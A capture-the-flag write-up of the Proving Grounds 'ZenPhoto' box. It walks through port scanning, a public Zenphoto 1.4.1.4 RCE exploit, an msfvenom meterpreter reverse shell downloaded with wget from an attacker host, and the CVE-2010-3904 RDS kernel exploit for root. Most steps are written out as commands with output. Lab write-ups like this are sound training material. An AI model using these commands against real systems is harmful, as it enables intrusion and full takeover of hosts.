# ZenPhoto Writeup - Proving Grounds

> Intermediate Linux box running an outdated Zenphoto gallery with a public RCE exploit for a www-data shell, escalated to root through a CVE-2010-3904 kernel exploit in the RDS protocol.

- **URL:** https://hackindex.io/writeups/zenphoto
- **Platform:** Proving Grounds
- **Difficulty:** Intermediate
- **Operating system:** Linux
- **Tags:** rce, zenphoto, kernel-exploit, privilege-escalation, cve-2010-3904
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 2 min read
- **Published:** 2026-10-08
- **Updated:** 2026-10-08

ZenPhoto runs an outdated Zenphoto gallery with a public remote code execution exploit, giving a shell as `www-data`. The host’s equally old kernel is vulnerable to a local privilege escalation in the RDS protocol, which hands over root.

## Reconnaissance

### Nmap

Scan all ports, then fingerprint the open ones.

```bash
sudo nmap -p- $TARGET_IP
# PORT     STATE SERVICE
# 22/tcp   open  ssh
# 23/tcp   open  telnet
# 80/tcp   open  http
# 3306/tcp open  mysql
```

```bash
sudo nmap -A -sV -p 22,23,80,3306 $TARGET_IP
# 22/tcp   open  ssh   OpenSSH 5.3p1 Debian
# 23/tcp   open  ipp   CUPS 1.4
# 80/tcp   open  http  Apache httpd 2.2.14 (Ubuntu)
# 3306/tcp open  mysql
```

Port 23 is actually CUPS, not telnet. Brute force the web server’s directories.

### Directory discovery

Brute force directories.

```bash
dirb http://$TARGET_IP
# ==> DIRECTORY: http://$TARGET_IP/test/
```

`/test/` hosts an instance of Zenphoto.

```bash
curl -s $TARGET_IP/test/ | tail
# <!-- zenphoto version 1.4.1.4 [8157] (Official Build) -->
```

Zenphoto 1.4.1.4 has a known [public remote code execution exploit](https://www.exploit-db.com/exploits/18083/).

## Exploitation

### Zenphoto RCE

Run the public exploit against the install path.

```bash
php 18083.php $TARGET_IP /test/
# zenphoto-shell# id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Code execution as `www-data` through the exploit’s own pseudo-shell. Upgrade to a full reverse shell by downloading and running a staged ELF payload.

```bash
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT -f elf > shell.elf
python -m SimpleHTTPServer 8000
```

```bash
zenphoto-shell# wget http://$ATTACKER_IP:8000/shell.elf -P /tmp
zenphoto-shell# chmod +x /tmp/shell.elf
```

Set up the Metasploit handler, then execute the payload.

```bash
msfconsole -x "use exploit/multi/handler; set payload linux/x86/meterpreter/reverse_tcp; set LHOST $ATTACKER_IP; set LPORT $ATTACKER_PORT; run"
```

```bash
zenphoto-shell# /tmp/shell.elf
# meterpreter > getuid
# Server username: uid=33, gid=33, euid=33, egid=33
```

Shell as `www-data`. `local.txt` is readable from here.

## Privilege Escalation

### Kernel exploit (CVE-2010-3904)

Check the kernel version.

```bash
uname -a
# Linux offsecsrv 2.6.32-21-generic #32-Ubuntu SMP i686 GNU/Linux
```

This kernel is vulnerable to [CVE-2010-3904](https://www.exploit-db.com/exploits/15285/), a privilege escalation in the RDS protocol handler. Compile the public exploit for 32-bit and host it.

```bash
gcc 15285.c -o 15285 -m32
python -m SimpleHTTPServer 8000
```

Download and run it on the target.

```bash
wget http://$ATTACKER_IP:8000/15285
chmod +x /tmp/15285
./15285
# [*] Linux kernel >= 2.6.30 RDS socket exploit
# [*] Resolving kernel addresses...
# [*] Overwriting security ops...
# [*] Got root!
# # whoami
# root
```

The RDS kernel exploit gives a root shell.

Related

## References

- [Exploit-DB 18083](http://www.exploit-db.com/exploits/18083/) - Zenphoto <= 1.4.1.4 remote code execution exploit.
- [CVE-2010-3904](https://nvd.nist.gov/vuln/detail/CVE-2010-3904) - Linux kernel RDS protocol privilege escalation.